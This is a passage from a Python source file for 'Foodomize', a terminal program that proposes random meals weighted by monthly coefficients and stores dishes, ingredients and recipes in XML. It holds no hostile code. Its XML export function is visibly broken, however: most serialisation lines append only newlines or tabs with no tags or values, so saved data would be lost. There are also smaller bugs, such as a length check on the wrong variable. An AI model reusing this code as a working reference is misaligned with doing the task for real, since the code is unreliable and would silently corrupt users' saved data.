rel.split('|')[-1]+', '\n\t\t\t\t\n\t\t\t\n\t\t\trelated = related[ 0 : -2 ]\n\t\tif len(related) > 500:\n\t\t\tshortRelated = related[0:499]+'…'\n\t\telse:\n\t\t\tshortRelated = related\n\t\t\n\t\t\n\t\t# get sub element list\n\t\tsub = ''\n\t\tif len(self.sub)>0:\n\t\t\tfor el in self.sub:\n\t\t\t\tsub += el.name+', '\n\t\t\t\t\n\t\t\t\n\t\t\tsub = sub[ 0 : -2 ]\n\t\tif len(sub) > 500:\n\t\t\tshortSub = sub[0:499]+'…'\n\t\telse:\n\t\t\tshortSub = sub\n\t\t\n\t\t\n\t\twhile True:\n\t\t\tos.system('clear')\n\t\t\t\n\t\t\tprint('\t\t\tRandomly choose from «'+root+'» list:')\n\t\t\tprint('\\nRamdomly choosen using '+month+' coefficients.\\n')\n\t\t\tprint('Foodomize propose you «'+self.name+'»:')\n\t\t\t\n\t\t\tif self.description =='':\n\t\t\t\tprint('No description avaible.\\n')\n\t\t\telse:\n\t\t\t\tdescription = self.description\n\t\t\t\tif len(description) > 500:\n\t\t\t\t\tdescription = description[0:499]+'…'\n\t\t\t\tprint(description+'\\n')\n\t\t\t\n\t\t\tif(self.kind in [ 'dish', 'variant' ]):\n\t\t\t\t# display ingrédient list\n\t\t\t\tif shortIngredients == '':\n\t\t\t\t\tprint('Ingredients: Unknow')\n\t\t\t\telse:\n\t\t\t\t\tprint('Ingredients: '+shortIngredients)\n\t\t\t\t\n\t\t\t\t# display ingrédient list\n\t\t\t\tif shortExtra == '':\n\t\t\t\t\tprint('Extra ingredients: no one know')\n\t\t\t\telse:\n\t\t\t\t\tprint('Extra ingredients: '+shortExtra)\n\t\t\t\t\n\t\t\t\t# display accompaniments list\n\t\t\t\tif shortAccompaniments == '':\n\t\t\t\t\tprint('Recommended accompaniments: no one know')\n\t\t\t\telse:\n\t\t\t\t\tprint('Recommended accompaniments: '+shortAccompaniments)\n\t\t\t\t\n\t\t\t\t# display related list\n\t\t\t\tif shortRelated == '':\n\t\t\t\t\tprint('Related meal: no one know.\\n')\n\t\t\t\telse:\n\t\t\t\t\tprint('Related meal: '+shortRelated+'\\n')\n\t\t\t\n\t\t\tif shortSub == '':\n\t\t\t\tprint('Sub elements: none')\n\t\t\telse:\n\t\t\t\tprint('Sub elements: '+shortSub)\n\t\t\t\n\t\t\tnext = input('\\nwhat next? (type «help» for help)').strip()\n\t\t\tif next == '':\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\tupper = next[0].isupper()\n\t\t\tnext = next.lower()\n\t\t\t\n\t\t\tif next in [ 'q', 'quit' ]:\n\t\t\t\treturn False\n\t\t\t\t\n\t\t\telif next in [ 'h', 'help' ]:\n\t\t\t\tinput('''Random Menu Help:\nYou're in the random menu, where you can randomly choose element.\n\npress enter without typing anything to randomly choose another element from «'''+root+'''» list or :\nType: To:\nrecipe read/edit this element recipe, if there is one\nd or desc see the full description (if truncated)\ni or ingredient see the full ingredients list (if truncated)\ne or extra see the full extra ingredients list (if truncated)\na or accompaniment see the full accompaniment list (if truncated)\nrel or related see the full related meal list (if truncated)\n\n\nIf the element have sub element, you can use random function on it:\nR or RANDOM randomly choose one of the sub element\nr N or random N randomly and recursivly choose an element, with N as level limit\nr or random randomly and recursivly choose an element without level limit\n\n\nrandom related ramdomly choose one of the related meal\nrandom acc ramdomly choose one of the accompaniment\nrandom extra ramdomly choose one of the extra ingredient\n\nq or quit quit random menu\nh or help read this help\n\npress enter to continue''')\n\t\t\t\t\n\t\t\telif next == 'recipe' :\n\t\t\t\trecipePath = os.path.realpath(__file__+'/../recipes')+'/'+path\n\t\t\t\t\n\t\t\t\tif self.recipe and os.path.exists(recipePath):\n\t\t\t\t\ttry:\n\t\t\t\t\t\tsubprocess.call([main.editor, recipePath])\n\t\t\t\t\texcept Exception as e:\n\t\t\t\t\t\tprint(e)\n\t\t\t\t\t\tinput('press enter to ignore this error and continue')\n\t\t\t\telse:\n\t\t\t\t\tinput('this element have no recipe')\n\t\t\t\t\n\t\t\telif next in [ 'd', 'desc']:\n\t\t\t\tos.system('clear')\n\t\t\t\tprint('\t\t\t«'+self.name+'» description:\\n')\n\t\t\t\t\n\t\t\t\tif self.description =='':\n\t\t\t\t\tprint('There is no description for «'+self.name+'»…')\n\t\t\t\telse:\n\t\t\t\t\tprint(self.description)\n\t\t\t\t\n\t\t\t\tinput('press enter to continue')\n\t\t\telif next in [ 'i', 'ingredient', 'ing', 'ingredients' ]:\n\t\t\t\tos.system('clear')\n\t\t\t\tprint('\t\t\t«'+self.name+'» ingredients:\\n')\n\t\t\t\t\n\t\t\t\tif ingredients == '':\n\t\t\t\t\tprint('There is no know ingredient for «'+self.name+'»…')\n\t\t\t\telse:\n\t\t\t\t\tprint('Ingredients: '+ingredients)\n\t\t\t\t\n\t\t\t\tinput('press enter to continue')\n\t\t\t\t\n\t\t\telif next in [ 'e', 'extra' ]:\n\t\t\t\tos.system('clear')\n\t\t\t\tprint('\t\t\t«'+self.name+'» extra ingredients:\\n')\n\t\t\t\t\n\t\t\t\tif extra == '':\n\t\t\t\t\tprint('There is no know extra ingredient for «'+self.name+'»…')\n\t\t\t\telse:\n\t\t\t\t\tprint('Extra ingredients: '+extra)\n\t\t\t\t\n\t\t\t\tinput('press enter to continue')\n\t\t\t\t\n\t\t\telif next in [ 'a', 'acc', 'accompaniment', 'accompaniments' ]:\n\t\t\t\tos.system('clear')\n\t\t\t\tprint('\t\t\t«'+self.name+'» recommended accompaniments:\\n')\n\t\t\t\t\n\t\t\t\tif accompaniments == '':\n\t\t\t\t\tprint('There is no know accompaniment for «'+self.name+'»…')\n\t\t\t\telse:\n\t\t\t\t\tprint('Accompaniments: '+accompaniments)\n\t\t\t\t\n\t\t\t\tinput('press enter to continue')\n\t\t\t\t\n\t\t\telif next in [ 'rel', 'related', 's', 'suggest' ]:\n\t\t\t\tos.system('clear')\n\t\t\t\tprint('\t\t\t«'+self.name+'» related meal:\\n')\n\t\t\t\t\n\t\t\t\tif related == '':\n\t\t\t\t\tprint('There is no know related meal for «'+self.name+'»…')\n\t\t\t\telse:\n\t\t\t\t\tprint('Related meals: '+related)\n\t\t\t\t\n\t\t\t\tinput('press enter to continue')\n\t\t\t\t\n\t\t\telif next == 'sub':\n\t\t\t\tos.system('clear')\n\t\t\t\tprint('\t\t\t«'+self.name+'» sub elements:\\n')\n\t\t\t\t\n\t\t\t\tif sub == '':\n\t\t\t\t\tprint('There is no know sub element in «'+self.name+'»…')\n\t\t\t\telse:\n\t\t\t\t\tprint('sub elements: '+sub)\n\t\t\t\t\n\t\t\t\tinput('press enter to continue')\n\t\t\t\t\n\t\t\telif( next.startswith('r') ):\n\t\t\t\tif next.startswith('r '):\n\t\t\t\t\tnext = next[2:]\n\t\t\t\telif next.startswith('random '):\n\t\t\t\t\tnext = next[7:]\n\t\t\t\telif next in [ 'r', 'random' ]:\n\t\t\t\t\tnext = ''\n\t\t\t\telse:\n\t\t\t\t\tcontinue\n\t\t\t\t\n\t\t\t\tagain = True\n\t\t\t\tloopMsg = '\\nPress enter for a new proposal or type anything to stop:'\n\t\t\t\t\n\t\t\t\tif(next in [ 'r', 'rel', 'related', 's', 'suggest' ] ):\n\t\t\t\t\tself.randomRelated( main )\n\t\t\t\t\t\n\t\t\t\telif(next in [ 'a', 'acc', 'accompaniment', 'accompaniments' ] ):\n\t\t\t\t\tif len(self.accompaniments)==0:\n\t\t\t\t\t\tinput('Foodomize can\\'t propose you any accompaniment: this meal have none.')\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t\n\t\t\t\t\twhile again:\n\t\t\t\t\t\tacc = self.accompaniments[ \n\t\t\t\t\t\t\t\trandint( 0, len(self.accompaniments)-1) ]\n\t\t\t\t\t\tagain = input('Foodomize propose you «'+acc+'» as accompaniment for this meal.'+loopMsg).strip() == ''\n\t\t\t\t\t\t\n\t\t\t\telif(next in [ 'e', 'extra' ] ):\n\t\t\t\t\tif len(self.extra)==0:\n\t\t\t\t\t\tinput('Foodomize can\\'t propose you to add any ingredient: this meal have none extra ingredient.')\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t\n\t\t\t\t\twhile again:\n\t\t\t\t\t\te = self.extra[ \n\t\t\t\t\t\t\t\trandint( 0, len(self.extra)-1) ]\n\t\t\t\t\t\tif e[1] == '':\n\t\t\t\t\t\t\tagain = input('Foodomize propose you to add «'+e[0]+'» to this meal.'+loopMsg).strip() == ''\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tagain = input('Foodomize propose you to add «'+e[0]+'»('+e[1]+') to this meal.'+loopMsg).strip() == ''\n\t\t\t\t\t\n\t\t\t\telse:\n\t\t\t\t\tif len(self.sub)==0:\n\t\t\t\t\t\tinput('Foodomize can\\'t propose you any sub element from «'+self.name+'»: there is none.')\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t\n\t\t\t\t\t# get random depth\n\t\t\t\t\tif next == '':\n\t\t\t\t\t\tif upper:\n\t\t\t\t\t\t\tlimit = 1\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tlimit = 0\n\t\t\t\t\telse:\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\tlimit = int( next.strip() )\n\t\t\t\t\t\texcept Exception as e:\n\t\t\t\t\t\t\tinput('Error: «'+next+'» can\\'t be convert into integer.\\nPress enter to continue')\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\n\t\t\t\t\t\tif limit < 0:\n\t\t\t\t\t\t\tinput('Error: you must specify a positive integer for random.\\nPress enter to continue')\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\n\t\t\t\t\tself.random( path, limit, main )\n\t\n\t\n\t\n\t\n\t\n\tdef randomRelated(self, main):\n\t\t'''randomly propose a meal from this one'''\n\t\tif len(self.related)==0:\n\t\t\t\tinput('Foodomize can\\'t propose you any related meal: this meal have none.')\n\t\t\t\treturn\n\t\t\n\t\t# get related list\n\t\tmonth = main.month - 1\n\t\trelated = []\n\t\tcoefSum = 0\n\t\tfor path in self.related:\n\t\t\trelated.append( [path, main.getPath(path.split('|'))] )\n\t\t\tcoefSum += related[-1][1].coef[month]\n\t\t\n\t\tagain = True\n\t\twhile again:\n\t\t\tr = randint( 1, coefSum )\n\t\t\t\n\t\t\tfor rel in related:\n\t\t\t\tr -= rel[1].coef[month]\n\t\t\t\tif r <= 0:\n\t\t\t\t\tbreak\n\t\t\t\n\t\t\tagain = rel[1].randomMenu( rel[0], self.name, main )\n\t\t\t\n\t\t\n\t\n\t\n\t\n\t\n\t\n\tdef erase( self, path, main ):\n\t\t'''do all there is to do before deleting the current element'''\n\t\tif path == '':\n\t\t\tpath = self.name\n\t\telse:\n\t\t\tpath += '|'+self.name\n\t\t\n\t\t# erase sub element\n\t\tfor el in self.sub:\n\t\t\tel.erase( path, main )\n\t\t\n\t\t# erase reference from related element\n\t\tfor rel in self.related:\n\t\t\trel = rel.split('|')\n\t\t\tmain.getPath(rel).related.remove( path )\n\t\t\n\t\t# delete recipe file\n\t\tif self.recipe:\n\t\t\ttry:\n\t\t\t\t# get recipes directory path\n\t\t\t\trecipePath = os.path.realpath(__file__+'/../recipes')+'/'+path\n\t\t\t\t\n\t\t\t\t# delete element recipe\n\t\t\t\tif os.path.exists(recipePath):\n\t\t\t\t\tos.remove(recipePath)\n\t\t\texcept Exception as e:\n\t\t\t\tprint('error while trying to erase «'+path.split('|')[-1]+'» recipe:')\n\t\t\t\tprint(e)\n\t\t\t\tinput('press enter to ignore this error and continue')\n\t\t\t\n\t\n\t\n\t\n\t\n\t\n\tdef editCoef( self ):\n\t\t'''edit element coefficients'''\n\t\t# get coefficient or amount\n\t\twhile True:\n\t\t\tos.system('clear')\n\t\t\t\n\t\t\tprint('\t\t\tEdit coefficients for '+self.name+':\\n')\n\t\t\tself.printCoef( True )\n\t\t\t\n\t\t\tcoef = input('Specify new coefficient(s) (h for help):')\n\t\t\t\n\t\t\tif coef in ['', 'q', 'quit', 'c', 'cancel']:\n\t\t\t\treturn\n\t\t\t\t\n\t\t\telif coef in [ 'h', 'help' ] :\n\t\t\t\tprint('''Coefficient help\n\nCoefficient of an element indicate how much you want it to be randomly choosen.\n0 will never be chossen, 2 have 2 times more chance to be choosen than 1. Each coefficient change the luck of other elements to be choosen.\nThe coefficient MUST ABSOLUTELY BE A POSITIVE INTEGER as greater as you want!\n\nType one number and it will be used all the year.\n\nType multiple number separated by a space or a / or a - (empty = 0):\nWith 2 numbers, each define 6 months.\n3 numbers = 4 months each\n4 numbers = 3 months each\n6 numpers = 2 months each\n12 numbers = 1 for each month\n\nThis maner, it simple to made an element more likely to show up on some time of the year, like winter/summer dishes.\n''')\n\t\t\t\tinput('Press enter to continue:')\n\t\t\t\t\n\t\t\telse:\n\t\t\t\tcoefs = re.split( '-| |/', coef )\n\t\t\t\t\n\t\t\t\tif len (coefs) == 1:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tcoef = int(coefs[0])\n\t\t\t\t\texcept Exception as e:\n\t\t\t\t\t\tprint('Error, you\\'ve probably type invalid value')\n\t\t\t\t\t\tcontinue\n\t\t\t\t\tbreak\n\t\t\t\t\t\n\t\t\t\telif len(coefs) in [ 2, 3, 4, 6, 12 ]:\n\t\t\t\t\tcoef = []\n\t\t\t\t\tnoerror = True\n\t\t\t\t\tfor c in coefs:\n\t\t\t\t\t\t\n\t\t\t\t\t\tif c == '':\n\t\t\t\t\t\t\tcoef.append(0)\n\t\t\t\t\t\t\t\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\tcoef.append( int(c) )\n\t\t\t\t\t\t\texcept Exception as e:\n\t\t\t\t\t\t\t\tprint('Error, you\\'ve probably type an invalid value')\n\t\t\t\t\t\t\t\tnoerror = False\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\n\t\t\t\t\tif noerror:\n\t\t\t\t\t\tbreak\n\t\t\t\t\t\n\t\t\t\telse:\n\t\t\t\t\tprint('Error, you must type 1 2 3 4 6 or 12 numbers. ')\n\t\t\n\t\t\n\t\tif ( type(coef) == int ):\n\t\t\tself.coef = [coef]*12\n\t\telse:\n\t\t\tl=len(coef) \n\t\t\tif l == 12 :\n\t\t\t\tself.coef = coef\n\t\t\telif l in [ 6, 4, 3, 2 ]:\n\t\t\t\tl = int(12 / l)\n\t\t\t\tself.coef = []\n\t\t\t\twhile ( len(coef) != 0 ):\n\t\t\t\t\tself.coef.extend( [ coef.pop(0) ] * l )\n\t\n\t\n\t\n\t\n\tdef changeMonth( self ):\n\t\t'''change working month (only use with main element).'''\n\t\tmonths = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December']\n\t\tos.system('clear')\n\t\t\n\t\tprint('\t\t\tChange working month:\\n\\nCurrent working month: '\\\n\t\t\t\t\t+months[ self.month-1 ]+'.\\n\\nType a number between 1 and 12 or the full name of the month.')\n\t\t\n\t\twhile True:\n\t\t\tm = input('Type the wanted working month:').strip()\n\t\t\t\n\t\t\tif m == '':\n\t\t\t\treturn\n\t\t\t\n\t\t\tif m.capitalize() in months:\n\t\t\t\tself.month = months.index(m.capitalize()) + 1\n\t\t\t\treturn\n\t\t\telse:\n\t\t\t\ttry:\n\t\t\t\t\tm = int(m)\n\t\t\t\t\tif m > 0 and m < 13:\n\t\t\t\t\t\tself.month = m\n\t\t\t\t\t\treturn\n\t\t\t\t\telse:\n\t\t\t\t\t\tprint('Error, '+str(m)+' is not a valid value')\n\t\t\t\texcept Exception as e:\n\t\t\t\t\tprint('Error, '+m+' is not a valid value')\n\t\t\t\t\tcontinue\n\t\n\t\n\t\n\t\n\tdef editName( self, parent, main, oldPath ):\n\t\t'''edit Element name'''\n\t\t# get a name:\n\t\twhile True :\n\t\t\tname = input('Choose a new name for «'+self.name+'»:')\\\n\t\t\t\t\t\t\t.strip().lower().title()\n\t\t\t\n\t\t\t# check the name\n\t\t\tif name == '':\n\t\t\t\treturn\n\t\t\t\t\n\t\t\telif '|' in name:\n\t\t\t\tprint('Please, do not use «|» in the name.')\n\t\t\t\t\n\t\t\telif name == 'Main':\n\t\t\t\tprint('«Main» is a reserved name. choose anything else!')\n\t\t\t\t\n\t\t\telif (parent.freeName( name )):\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tprint('There is already an element name like this!')\n\t\t\n\t\t# change name\n\t\tself.name = name\n\t\t\n\t\t# change path\n\t\tpath = oldPath.split('|')\n\t\tpath[-1] = name\n\t\tnewPath = '|'.join( path )\n\t\t\n\t\t# adapt related meal path\n\t\tmain.relatedPathInvert( oldPath, newPath )\n\t\t\n\t\t#change recipe file name\n\t\tif self.recipe:\n\t\t\trep = os.path.realpath(__file__+'/../recipes')\n\t\t\toldfile = rep+'/'+oldPath\n\t\t\tnewfile = rep+'/'+newPath\n\t\t\t\n\t\t\t# change file name\n\t\t\tif os.path.exists(oldfile):\n\t\t\t\tshutil.move( oldfile, newfile )\n\t\t\n\t\t\n\t\t# return the new path\n\t\treturn newPath\n\t\n\t\n\t\n\t\n\tdef relatedPathInvert( self, old, new ):\n\t\t'''recursively modify'''\n\t\t# change path\n\t\tif old in self.related:\n\t\t\tself.related.remove(old)\n\t\t\tself.related.append(new)\n\t\t\n\t\t# erase double\n\t\twhile old in self.related:\n\t\t\tself.related.remove(old)\n\t\t\n\t\t# recursively do it for sub element\n\t\tfor el in self.sub:\n\t\t\tel.relatedPathInvert( old, new )\n\t\t\n\t\t\n\t\n\t\n\t\n\t\n\tdef print (self, page=0, month = None):\n\t\t'''print Element info as displayed in menu'''\n\t\tprint('\t\t\t'+self.name+' menu')\n\t\tm = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'][month-1]\n\t\t\n\t\tif self.name != 'Main':\n\t\t\tprint('Current working month: '+m+'.\\n')\n\t\t\t\n\t\t\t# print coefficient\n\t\t\tself.printCoef(month=month)\n\t\t\tself.printCoef()\n\t\t\t\n\t\t\t# print description\n\t\t\tif self.description == '':\n\t\t\t\tprint('\\nNo description. type \"desc\" to add one.\\n')\n\t\t\telse:\n\t\t\t\tif len(self.description) < 500:\n\t\t\t\t\tprint('\\n'+self.description+'\\n')\n\t\t\t\telse:\n\t\t\t\t\tprint('\\n'+self.description[0:500]+'…\\n')\n\t\telse:\n\t\t\tprint('Current working month: '+m+'.\\n')\n\t\t\n\t\tif self.kind in ['variant', 'dish']:\n\t\t\t# print ingredients\n\t\t\tif( len(self.ingredients) == 0 ):\n\t\t\t\tprint('Ingredients: No ingredient. Type «i» or «ingredient» to access ingredient menu.')\n\t\t\telse:\n\t\t\t\tingredients = ''\n\t\t\t\tfor ing in self.ingredients:\n\t\t\t\t\tingredients += ing[0]+', '\n\t\t\t\t\n\t\t\t\tif len(ingredients) > 500:\n\t\t\t\t\tingredients = ingredients[0:498]+'…'\n\t\t\t\telse:\n\t\t\t\t\tingredients = ingredients[0:-2]\n\t\t\t\t\n\t\t\t\tprint('Ingredients: '+ingredients)\n\t\t\t\n\t\t\t\n\t\t\t# print extra ingredients\n\t\t\tif( len(self.extra) != 0 ):\n\t\t\t\tingredients = ''\n\t\t\t\tfor ing in self.extra:\n\t\t\t\t\tingredients += ing[0]+', '\n\t\t\t\t\n\t\t\t\tif len(ingredients) > 500:\n\t\t\t\t\tingredients = ingredients[0:498]+'…'\n\t\t\t\telse:\n\t\t\t\t\tingredients = ingredients[0:-2]\n\t\t\t\t\n\t\t\t\tprint('Extra ingredients: '+ingredients)\n\t\t\telse:\n\t\t\t\tprint('Extra ingredients: No one know. Type «e» or «extra» to access extra ingredient menu.')\n\t\t\t\n\t\t\t\n\t\t\t# print accompaniments\n\t\t\tif( len(self.accompaniments) == 0 ):\n\t\t\t\tprint('Accompaniments: No accompaniment suggested. Type «a» or «accompaniment» to access menu.')\n\t\t\telse:\n\t\t\t\taccompaniments = ''\n\t\t\t\tfor acc in self.accompaniments:\n\t\t\t\t\taccompaniments += acc+', '\n\t\t\t\t\n\t\t\t\tif len(ingredients) > 500:\n\t\t\t\t\taccompaniments = accompaniments[0:498]+'…'\n\t\t\t\telse:\n\t\t\t\t\taccompaniments = accompaniments[0:-2]\n\t\t\t\t\n\t\t\t\tprint('Accompaniments: '+accompaniments)\n\t\t\t\n\t\t\t\n\t\t\t# suggest meal\n\t\t\tprint('type «s» to see suggested meal with this one')\n\t\t\t\n\t\t\tif(self.recipe):\n\t\t\t\tprint('type «recipe» to see this meal recipe in your editor.\\n')\n\t\t\telse:\n\t\t\t\tprint('actually no recipe for this meal. type «recipe» to write one in your prefered editor\\n')\n\t\t\n\t\tif (self.kind != 'variant'):\n\t\t\tif self.kind != 'dish':\n\t\t\t\tself.printList( page )\n\t\t\telse:\n\t\t\t\tself.printList( page, title=' variant' )\n\t\n\t\n\t\n\t\n\tdef load(self, xml):\n\t\t'''load list from xml'''\n\t\t# get sub list\n\t\tsub = xml.find('sub')\n\t\t\n\t\tif(self.name == 'Main'):\n\t\t\tself.editor = XML.decode(xml.get('editor'))\n\t\t\n\t\tdesc = xml.get('description')\n\t\tif desc != None:\n\t\t\tself.description = XML.decode( desc )\n\t\t\n\t\tself.recipe = xml.get('recipe') == 'True'\n\t\t\n\t\tif sub is not None:\n\t\t\tfor el in sub:\n\t\t\t\t# get kind, name, coef\n\t\t\t\tkind = el.tag\n\t\t\t\tname = XML.decode( el.get('name') )\n\t\t\t\tcoef = list(map( int, el.get('coef').split(',') ))\n\t\t\t\t\n\t\t\t\t# load sub\n\t\t\t\tself.sub.append( Element( name, coef, kind ) )\n\t\t\t\tself.sub[-1].load(el)\n\t\t\n\t\t# load ingredient if specified\n\t\tings = xml.find('ingredients')\n\t\tif ings is not None:\n\t\t\tfor el in ings:\n\t\t\t\tname = XML.decode( el.get('name') )\n\t\t\t\tamount = XML.decode( el.get('amount') )\n\t\t\t\t\n\t\t\t\tself.ingredients.append( (name, amount) )\n\t\t\n\t\t\n\t\t\n\t\t# load extra ingredient if specified\n\t\textra = xml.find('extra')\n\t\tif extra is not None:\n\t\t\tfor el in extra:\n\t\t\t\tname = XML.decode( el.get('name') )\n\t\t\t\tamount = XML.decode( el.get('amount') )\n\t\t\t\t\n\t\t\t\tself.extra.append( (name, amount) )\n\t\t\n\t\t\n\t\t\n\t\t# load accompaniments if specified\n\t\taccs = xml.find('accompaniments')\n\t\tif accs is not None:\n\t\t\tfor el in accs:\n\t\t\t\tname = XML.decode( el.get('name') )\n\t\t\t\t\n\t\t\t\tself.accompaniments.append( name )\n\t\t\n\t\t\n\t\t\n\t\t# load related meals if specified\n\t\trelated = xml.find('related')\n\t\tif related is not None:\n\t\t\tfor el in related:\n\t\t\t\tpath = XML.decode( el.get('path') )\n\t\t\t\t\n\t\t\t\tself.related.append( path )\n\t\n\t\n\t\n\tdef save(self):\n\t\t'''save the list in app directory'''\n\t\tpath = os.path.realpath(__file__+'/..')\n\t\t# check path permission\n\t\tif os.path.exists(path+'/foodList'):\n\t\t\tif not os.access(path+'/foodList', os.W_OK):\n\t\t\t\tprint('Error, acces denied. can\\'t save!')\n\t\t\t\treturn False\n\t\telif(not os.access( path, os.W_OK ) ):\n\t\t\tprint('Error, acces denied. can\\'t save!')\n\t\t\treturn False\n\t\tpath += '/foodList'\n\t\t\n\t\txml = self.toxml()\n\t\t\n\t\twith open(path,'w') as output:\n\t\t\toutput.write(xml)\n\t\t\n\t\treturn True\n\t\n\t\n\t\n\t\n\tdef toxml(self):\n\t\t'''return thi object in xml'''\n\t\txml = ''\n\t\tif(self.name == 'Main'):\n\t\t\txml += '\\n'\n\t\t\n\t\txml += '<'+self.kind+' name=\"'+\\\n\t\t\t\tXML.encode(self.name)+'\" coef=\"'+\\\n\t\t\t\t','.join( map( str, self.coef ) ) +'\" recipe=\"'+\\\n\t\t\t\tstr(self.recipe)+'\" '\n\t\t\n\t\tif(self.name == 'Main'):\n\t\t\txml += 'editor=\"'+XML.encode(self.editor) +'\" '\n\t\t\n\t\tif self.description != '':\n\t\t\txml += 'description=\"'+XML.encode(self.description) +'\" '\n\t\t\n\t\txml += '>\\n'\n\t\t\n\t\t# export sub element\n\t\tif len(self.sub)>0:\n\t\t\txml += '\\n'\n\t\t\tfor el in self.sub:\n\t\t\t\txml += el.toxml()\n\t\t\txml += '\\n'\n\t\t\n\t\t\n\t\t# export ingredients\n\t\tif len(self.ingredients)>0:\n\t\t\txml += '\\n'\n\t\t\tfor el in self.ingredients:\n\t\t\t\txml += '\\t\\n'\n\t\t\txml += '\\n'\n\t\t\n\t\t\n\t\t# export extra ingredients\n\t\tif len(self.extra)>0:\n\t\t\txml += '\\n'\n\t\t\tfor el in self.extra:\n\t\t\t\txml += '\\t\\n'\n\t\t\txml += '\\n'\n\t\t\n\t\t\n\t\t# export accompaniments\n\t\tif len(self.accompaniments)>0:\n\t\t\txml += '\\n'\n\t\t\tfor el in self.accompaniments:\n\t\t\t\txml += '\\t\\n'\n\t\t\txml += '\\n'\n\t\t\n\t\t\n\t\t# export related meal list\n\t\tif len(self.related)>0:\n\t\t\txml += '\\n'\n\t\t\tfor el in self.related:\n\t\t\t\txml += '\\t\\n'\n\t\t\txml += '\\n'\n\t\t\n\t\t\n\t\txml += '\\n'\n\t\t\n\t\treturn xml\n\t\n\t\n\t\n\t\n\tdef add(self, kind = ''):\n\t\t'''Element adding menu'''\n\t\tos.system('clear')# clear terminal output\n\t\tnameList = None\n\t\t\n\t\t# print menu title\n\t\tif kind == 'extra':\n\t\t\tprint('Add a new extra ingredient to \\''+self.name+'\\' variant :')\n\t\t\tnameList = self.extra\n\t\t\t\n\t\telif kind == 'accompaniment':\n\t\t\tprint('Add a new accompaniment to \\''+self.name+'\\' variant :')\n\t\t\t\n\t\t\t\n\t\telif kind == 'ingredient':\n\t\t\tprint('Add a new ingredient to \\''+self.name+'\\' :')\n\t\t\tnameList = self.ingredients\n\t\t\t\n\t\telif self.kind == 'group':\n\t\t\tprint('Add a new group to \\''+self.name+'\\' group list:')\n\t\t\tkind = input('type \\'d\\' or \\'dish\\' to add a dish or anything else to create a sub group of dishes').strip().lower() in ['d', 'dish']\n\t\t\t\n\t\t\tif kind:\n\t\t\t\tkind = 'dish'\n\t\t\t\tprint('Add a dish:')\n\t\t\telse:\n\t\t\t\tkind = 'group'\n\t\t\t\tprint('Add a sub dishes group:')\n\t\t\t\n\t\telif self.kind == 'dish':\n\t\t\tprint('Add a new variant to \\''+self.name+'\\' dish :')\n\t\t\tkind = 'variant'\n\t\t\t\n\t\t\n\t\t\n\t\t# get a name:\n\t\twhile True :\n\t\t\tname = input('choose a name:').strip().lower().title()\n\t\t\tif name == '':\n\t\t\t\treturn\n\t\t\telif '|' in name or '/' in name:\n\t\t\t\tprint('Please, do not use «|» nor «/» in the name.')\n\t\t\telif name == 'Main':\n\t\t\t\tprint('«Main» is a reserved name. choose anything else!')\n\t\t\telif (kind == 'accompaniment' and name not in self.accompaniments\n\t\t\t\t\t\tor self.freeName(name, nameList)):\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tprint('There is already an element name like this!')\n\t\t\n\t\t# get coefficient or amount\n\t\twhile kind != 'accompaniment':\n\t\t\tif kind in [ 'ingredient', 'extra' ]:\n\t\t\t\task = 'amount'\n\t\t\telse:\n\t\t\t\task = 'coefficient(s)'\n\t\t\t\n\t\t\tcoef = input('Specify '+ask+' (h for help, q to quit):')\n\t\t\t\n\t\t\tif coef in ['q', 'quit', 'c', 'cancel']:\n\t\t\t\treturn\n\t\t\t\t\n\t\t\telif coef in [ 'h', 'help' ] :\n\t\t\t\tif kind in [ 'ingredient', 'extra' ]:\n\t\t\t\t\tprint('''Amount help\n\nAmount of ingredient for the recipe. You can press enter with empty string or specify quantity as you wish.''')\n\t\t\t\telse:\n\t\t\t\t\tprint('''Coefficient help\n\nCoefficient of an element indicate how much you want it to be randomly choosen.\n0 will never be chossen, 2 have 2 times more chance to be choosen than 1. Each coefficient change the luck of other elements to be choosen.\nThe coefficient MUST ABSOLUTELY BE A POSITIVE INTEGER as greater as you want!\n\nPress enter without typing anything and the coefficint will be 1 for all the year.\nType one number and it will be used all the year.\n\nType multiple number separated by a space or a / or a - (empty = 0):\nWith 2 numbers, each define 6 months.\n3 numbers = 4 months each\n4 numbers = 3 months each\n6 numpers = 2 months each\n12 numbers = 1 for each month\n\nThis maner, it simple to made an element more likely to show up on some time of the year, like winter/summer dishes.\n''')\n\t\t\t\tinput('Press enter to continue:')\n\t\t\t\t\n\t\t\telif kind in [ 'ingredient', 'extra' ]:\n\t\t\t\t\tbreak\n\t\t\telif coef == '':\n\t\t\t\t\n\t\t\t\tcoef = 1\n\t\t\t\tbreak\n\t\t\t\t\n\t\t\telse:\n\t\t\t\tcoefs = re.split( '-| |/', coef )\n\t\t\t\t\n\t\t\t\tif len (coefs) == 1:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tcoef = int(coefs[0])\n\t\t\t\t\texcept Exception as e:\n\t\t\t\t\t\tprint('Error, you\\'ve probably type invalid value')\n\t\t\t\t\t\tcontinue\n\t\t\t\t\tbreak\n\t\t\t\t\t\n\t\t\t\telif len(coefs) in [ 2, 3, 4, 6, 12 ]:\n\t\t\t\t\tcoef = []\n\t\t\t\t\tnoerror = True\n\t\t\t\t\tfor c in coefs:\n\t\t\t\t\t\t\n\t\t\t\t\t\tif c == '':\n\t\t\t\t\t\t\tcoef.append(0)\n\t\t\t\t\t\t\t\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\tcoef.append( int(c) )\n\t\t\t\t\t\t\texcept Exception as e:\n\t\t\t\t\t\t\t\tprint('Error, you\\'ve probably type an invalid 